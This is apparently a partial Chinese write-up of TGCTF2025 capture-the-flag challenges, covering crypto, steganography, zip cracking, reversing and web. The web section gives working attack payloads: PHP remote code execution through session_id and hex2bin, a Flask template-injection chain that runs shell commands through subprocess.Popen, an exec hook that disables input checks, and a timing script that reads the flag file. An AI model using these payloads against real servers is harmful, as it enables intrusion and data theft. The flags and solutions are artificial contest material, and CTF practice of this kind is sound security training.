TGCTF2025 部分WriteUp

TGCTF2025 部分WriteUp

 次点击
63 分钟阅读

Crypto

AAAAAAAA·真·签到

给你flag签个到好了

诶,我的flag怎么了????

好像字母对不上了

我的签到怎么办呀,急急急

听说福来阁好像是TGCTF开头的喔

UGBRC{RI0G!O04_5C3_OVUI_DV_MNTB}

变种凯撒

cipher = 'UGBRC{RI0G!O04_5C3_OVUI_DV_MNTB}'

flag = ''

offset = -1

for i in range(len(cipher)):

if cipher[i].isalpha():

if cipher[i].isupper():

flag += chr(((ord(cipher[i]) - ord('A') + offset + i) % 26) + ord('A'))

else:

flag += chr(((ord(cipher[i]) - ord('a') + offset + i) % 26) + ord('a'))

else:

flag += cipher[i]

print(flag)

TGCTF{WO0O!Y04_5R3_GOOD_AT_MOVE}

费克特尔

c=670610235999012099846283721569059674725712804950807955010725968103642359765806

n=810544624661213367964996895060815354972889892659483948276203088055391907479553

e=65537

题目直接叫factor了 上factordb分解下n

n = 113 · 18251 · 2001511 · 214168842768662180574654641 · 916848439436544911290378588839845528581

from math import gcd

from Crypto.Util.number import inverse, long_to_bytes

c = 670610235999012099846283721569059674725712804950807955010725968103642359765806

n = 810544624661213367964996895060815354972889892659483948276203088055391907479553

e = 65537

factors = [ 113, 18251, 2001511, 214168842768662180574654641, 916848439436544911290378588839845528581]

phi = 1

for i in factors:

phi *= (i - 1)

d = inverse(e, phi)

m = pow(c, d, n)

message = long_to_bytes(m)

print("Flag:" + message.decode('utf-8'))

TGCTF{f4888_6abdc_9c2bd_9036bb}

Misc

next is the end

n层嵌套的文件夹 写个脚本

import os

current_path = os.getcwd() + r"\next_or_end" # 初始路径

depth = 0

while "next_or_end" in os.listdir(current_path):

current_path = os.path.join(current_path, "next_or_end")

if "next_or_end" in os.listdir(current_path):

depth += 1

else:

break

print(f"最终深度: {depth}")

print(f"最终路径: {current_path}")

finalpath = os.path.join(current_path, 'you_get_it')

filepath = os.path.join(finalpath, 'flag.txt')

with open(filepath, 'r') as file:

flag = file.read()

print(flag)

where it is(osint)

null

截取学校部分的图片 识图 找到学校是臺北市立內湖高級工業職業學校

上谷歌地图找

null

根据街景就能确认这个站点

这是啥o_o

附件中是一个Gif文件 帧分离后可得到后几帧中的图片碎片 拼图后是汉信码

中国编码app可以识别 结果是time is your fortune ,efficiency is your life

这是出题人给的hint 关注时间 于是发现是帧间隔隐写

人话就是通过GIF动画每帧图片之间的间隔隐写信息

import os

from PIL import Image

def get_gif_durations(gif_path):

try:

with Image.open(gif_path) as img:

durations = []

while True:

try:

durations.append(img.info.get('duration', 0))

img.seek(img.tell() + 1)

except EOFError:

break

return durations

except Exception as e:

print(f"Error: {str(e)}")

return None

path = os.getcwd() + r"\a.gif"

result = get_gif_durations(path)

flag = ''

if result:

for i, duration in enumerate(result):

flag += chr(duration // 10)

print(flag)

TGCTF{You_caught_up_with_time!}

ez_zip

爆破压缩包

null

密码20250412 解压出来文件夹 有一个sh512.txt 内容为 Awesome,you_are_so_good

End压缩包中也有一个sh512.txt

计算sha512

null

发现CRC一样 那就好办了 明文攻击 密钥[ b39bc130 8183a9f1 d5381ad8 ] 解压出flag.zip

null

010看一下

null

两个问题

  1. 文件名应是flag.txt,长度应为8,而文件中为4 改回8

  2. 文件是压缩过的,但标记为STORED 改回Deflate

解压 修复后的压缩包 提取出flag.txt

TGCTF{Warrior_You_have_defeated_the_giant_dragon!}

参考:压缩包Zip格式详析

你能发现图中的秘密吗?

给了一个压缩包+一张图片

null

图片存在lsb key=i_1ove_y0u 是压缩包密码

解压出一张图片一个PDF

null

PDF用ps打开

null

存在flag图层 是flag2null

查看另一张图片的IDAT结构

null

发现最后一个IDAT块巨大无比 可能是藏了一张图片 删掉其他的IDAT块后爆破宽高

null

TGCTF{you_are_so_attentive_and_conscientious}

TeamGipsy&ctfer

唯一一道取证题,但是感觉也不大像取证 最难的地方在于从百度网盘下载

DiskGenius挂载一下硬盘

null

在桌面找到一个mimi.txt

Reverse

Base64

IDA分析代码

null

初步判断是一个自定义的Base64码表 跟进函数sub_1400010E0查看具体如何实现

太长了 丢给deepseek

分析

  1. 自定义Base64编码表:题目中使用了一个自定义的Base64编码表GLp/+Wn7uqX8FQ2JDR1c0M6U53sjBwyxglmrCVdSThAfEOvPHaYZNzo4ktK9iebI。

  2. 编码逻辑:每个6位值x被转换为编码表中的索引(x + 24) % 64。

  3. 解码逻辑:解码时需要将每个字符的索引转换为(索引 - 24) % 64,然后将这些6位值组合成原始字节。

custom_base64_table = "GLp/+Wn7uqX8FQ2JDR1c0M6U53sjBwyxglmrCVdSThAfEOvPHaYZNzo4ktK9iebI"

table = {char: idx for idx, char in enumerate(custom_base64_table)}

def decode_custom_base64(encoded):

encoded = encoded.rstrip('=')

decoded_bytes = []

for c in encoded:

if c not in table:

raise ValueError(f"Invalid character: {c}")

index = table[c]

x = (index - 24) % 64

decoded_bytes.append(x)

# 将6位数值转换为二进制字符串

bit_str = ''.join([bin(b)[2:].zfill(6) for b in decoded_bytes])

# 将二进制字符串转换为字节

byte_arr = bytearray()

for i in range(0, len(bit_str), 8):

byte = bit_str[i:i+8]

if len(byte) < 8:

break

byte_arr.append(int(byte, 2))

return bytes(byte_arr)

encoded_str = "AwLdOEVEhIWtajB2CbCWCbTRVsFFC8hirfiXC9gWH9HQayCJVbB8CIF="

decoded_data = decode_custom_base64(encoded_str)

flag = decoded_data

print(flag.decode())

HZNUCTF{ad162c-2d94-434d-9222-b65dc76a32}

Web

TG_wordpress

四个方向都可以拿hint 挑最简单的了

.DS_Store泄露 拿到RSA密钥和密文 解出wp账密

登录后看到插件有file manager 一眼丁真了

AAA偷渡阴平

非预期解了

Payload:tgctf2025=chdir(DIRECTORY_SEPARATOR);highlight_file(flag);

AAA偷渡阴平(复仇)

SESSION和2没被waf

参考:RCE篇之无参数rce

对命令文本转换为16进制

cat /flag => 636174202f666c6167

Payload:tgctf2025=session_start();system(hex2bin(session_id()));

set Cookie:PHPSESSID=636174202f666c6167

直面天命

非预期

提示爆破4字母路由 找到 /aazz

可以传参 爆破出参数 filename

Payload:filename=/flag

直面天命(复仇)

访问/aazz 拿到题目源码 审计代码

import os

import string

from flask import Flask, request, render_template_string, jsonify, send_from_directory

from a.b.c.d.secret import secret_key

app = Flask(__name__)

black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']

def waf(name):

for x in black_list:

if x in name.lower():

return True

return False

def is_typable(char):

# 定义可通过标准 QWERTY 键盘输入的字符集

typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace

return char in typable_chars

@app.route('/')

def home():

return send_from_directory('static', 'index.html')

@app.route('/jingu', methods=['POST'])

def greet():

template1=""

template2=""

name = request.form.get('name')

template = f'{name}'

if waf(name):

template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹

Image'

else:

k=0

for i in name:

if is_typable(i):

continue

k=1

break

if k==1:

if not (secret_key[:2] in name and secret_key[2:]):

template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧

再去西行历练历练

Image'

return render_template_string(template)

template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”

最后,如果你用了cat,就可以见到齐天大圣了

"

template= template.replace("天命","{{").replace("难违","}}")

template = template

if "cat" in template:

template2 = '

或许你这只叫天命人的猴子,真的能做到?

Image'

try:

return template1+render_template_string(template)+render_template_string(template2)

except Exception as e:

error_message = f"500报错了,查询语句如下:

{template}"

return error_message, 400

@app.route('/hint', methods=['GET'])

def hinter():

template="hint:

有一个aazz路由,去那里看看吧,天命人!"

return render_template_string(template)

@app.route('/aazz', methods=['GET'])

def finder():

with open(__file__, 'r') as f:

source_code = f.read()

return f"

{source_code}

", 200, {'Content-Type': 'text/html; charset=utf-8'}

if __name__ == '__main__':

app.run(host='0.0.0.0', port=80)

SSTI题目

template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}} 最后,如果你用了cat,就可以见到齐天大圣了"

template= template.replace("天命","{{").replace("难违","}}")

可以看出 secret_key 是 天命难违

Hex绕过waf

获取模块列表 找到subprocess.Popen 索引为351

POST:name=天命[]["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()难违

POST:name=天命[]["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]+["\x5f\x5fsubclasses\x5f\x5f"]()[351]('ls ',shell=True,stdout=-1).communicate()[0]难违

POST:name=天命[]["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]+["\x5f\x5fsubclasses\x5f\x5f"]()[351]('cat tgffff11111aaaagggggggg',shell=True,stdout=-1).communicate()[0]难违

熟悉的配方,熟悉的味道

from pyramid.config import Configurator

from pyramid.request import Request

from pyramid.response import Response

from pyramid.view import view_config

from wsgiref.simple_server import make_server

from pyramid.events import NewResponse

import re

from jinja2 import Environment, BaseLoader

eval_globals = { #防止eval执行恶意代码

'__builtins__': {}, # 禁用所有内置函数

'__import__': None # 禁止动态导入

}

def checkExpr(expr_input):

expr = re.split(r"[-+*/]", expr_input)

print(exec(expr_input))

if len(expr) != 2:

return 0

try:

int(expr[0])

int(expr[1])

except:

return 0

return 1

def home_view(request):

expr_input = ""

result = ""

if request.method == 'POST':

expr_input = request.POST['expr']

if checkExpr(expr_input):

try:

result = eval(expr_input, eval_globals)

except Exception as e:

result = e

else:

result = "爬!"

template_str = 【xxx】

env = Environment(loader=BaseLoader())

template = env.from_string(template_str)

rendered = template.render(expr_input=expr_input, result=result)

return Response(rendered)

if __name__ == '__main__':

with Configurator() as config:

config.add_route('home_view', '/')

config.add_view(home_view, route_name='home_view')

app = config.make_wsgi_app()

server = make_server('0.0.0.0', 9040, app)

server.serve_forever()

内存马

审计代码 发现 checkExpr函数中存在一行print(exec(expr_input))且无校验

按顺序执行两条命令 直接覆盖掉检测

global eval_globals; eval_globals = {} #覆盖黑名单

global checkExpr; checkExpr = lambda x: 1 #HOOK检测函数,使其永远返回1

RCE

__import__('os').popen('ls /').readlines()

__import__('os').popen('cat /flagggggg_tgctf2025_asjdklalkcnkjassjhdlk').readlines()

SSTI 时间/报错 盲注

import requests as request

import string

import time

url='http://127.0.0.1:8102/'

flag =''

for i in 64(100):

for char in string.printable:

code = f"""import os

import time

t = os.popen('cat /fl*').read()

if len(t)>{i} and t[{i}]=='{char}':

time.sleep(2)

"""

startTime = time.time()

request.post(url, data={'expr': code})

endTime = time.time()

if endTime - startTime >= 2:

flag += char

print(char, end='')

break

else:

continue

print('\nFound flag:', flag)

前端GAME / PLUS / ULTRA

三个CVE

Vite Dev Server Vulnerability Scanner

火眼辩魑魅

/robots.txt

User-Agent: *
Disallow: tgupload.php
Disallow: tgshell.php
Disallow: tgxff.php
Disallow: tgser.php
Disallow: tgphp.php
Disallow: tginclude.php

tgshell.php 蚁剑直接连

null

© 本文著作权归作者所有,未经许可不得转载使用。